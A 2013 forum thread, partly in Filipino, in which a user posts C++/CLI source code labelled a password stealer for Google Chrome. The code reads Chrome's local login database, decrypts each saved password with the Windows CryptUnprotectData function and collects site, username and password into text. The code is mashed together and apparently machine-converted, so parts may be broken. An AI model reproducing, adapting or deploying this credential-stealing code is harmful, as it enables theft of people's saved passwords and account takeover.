1. Welcome to PHCorner Forums. Take a moment to Sign up and gain unlimited access and extra privileges that guests are not entitled to, such as:

    All that and more! Registration is quick, simple and absolutely free. Join our community today!

nakakaawa naman to lagyan ku nanga ng topic hehehe c++ paswordstealer codes Google Chrome:

Discussion in 'Internet Tricks Questions' started by ravemastah, Dec 16, 2013.

  1. nakakaawa naman to lagyan ku nanga ng topic hehehe

    c++ paswordstealer codes

    Google Chrome:



    _________________________________________________________________________________________________

    public:voidStealChrome(){converted byInstant C++:System::String^cpass =System::String::empty;System::String^datapath =Environment::GetFolderPath(Environment::SpecialFolder::LocalApplicationData)+"\\Google\\Chrome\\User Data\\Default\\Web Data";if(File::Exists(datapath)){SqlClient::SqlConnection^SQLconnect= gcnew SqlClient::SqlConnection();SqlClient::SqlCommand^SQLcommand=nullptr;SQLconnect->ConnectionString="Data Source="+ datapath +";";SQLconnect->Open();SQLcommand=SQLconnect->CreateCommand();SQLcommand->CommandText="SELECT * FROM logins";SqlClient::SqlDataReader^SQLreader=SQLcommand->ExecuteReader();System::String^host =nullptr;System::String^user =nullptr;System::String^pass=nullptr;while(SQLreader->Read()){
    host =SQLreader["origin_url"];
    user =SQLreader["username_value"];pass=Decrypt(SQLreader["password_value"]);if((user !="")&(pass!="")){
    pss->Text= host;
    cpass =("============================="+System::Environment::NewLine+"Host: "+ host +System::Environment::NewLine+"Username: "+ user +System::Environment::NewLine+"Password: "+pass+System::Environment::NewLine+"============================="+System::Environment::NewLine+" ");}}deleteSQLcommand;SQLconnect->Close();}

    }private:[DllImport("Crypt32.dll",SetLastError=true,CharSet=System::Runtime::InteropServices::CharSet::Auto)]staticboolCryptUnprotectData(DATA_BLOB %pDataIn,System::String^szDataDescr, DATA_BLOB %pOptionalEntropy,IntPtr pvReserved, CRYPTPROTECT_PROMPTSTRUCT %pPromptStruct,int dwFlags, DATA_BLOB %pDataOut);[Flags()]privateenumclassCryptProtectPromptFlags:int{
    CRYPTPROTECT_PROMPT_ON_UNPROTECT =0X1,
    CRYPTPROTECT_PROMPT_ON_PROTECT =0X2};[StructLayout(LayoutKind::Sequential,CharSet=CharSet::Unicode)]private value class CRYPTPROTECT_PROMPTSTRUCT
    {public:int cbSize;CryptProtectPromptFlags dwPromptFlags;IntPtr hwndApp;System::String^szPrompt;};[StructLayout(LayoutKind::Sequential,CharSet=CharSet::Unicode)]private value class DATA_BLOB{public:int cbData;IntPtr pbData;};public:staticSystem::String^Decrypt(array<System::Byte>^Datas){
    DATA_BLOB inj = DATA_BLOB();
    DATA_BLOB Ors= DATA_BLOB();GCHandleGhandle=GCHandle::Alloc(Datas,GCHandleType::pinned);
    inj.pbData =Ghandle.AddrOfPinnedObject();
    inj.cbData =Datas->Length;Ghandle.Free();
    DATA_BLOB temppOptionalEntropy1 = DATA_BLOB();
    CRYPTPROTECT_PROMPTSTRUCT temppPromptStruct2 = CRYPTPROTECT_PROMPTSTRUCT();CryptUnprotectData(inj,nullptr, temppOptionalEntropy1,System::IntPtr::Zero, temppPromptStruct2,0,Ors);
    array<System::Byte>^Returned= gcnew array<System::Byte>(Ors.cbData +1);Marshal::Copy(Ors.pbData,Returned,0,Ors.cbData);System::String^TheString=Encoding::Default->GetString(Returned);returnTheString->Substring(0,TheString->Length-1);}};
     
    john winster likes this.
  2. xSilent

    xSilent Support Team Staff Member Support Team

Tags / Keywords: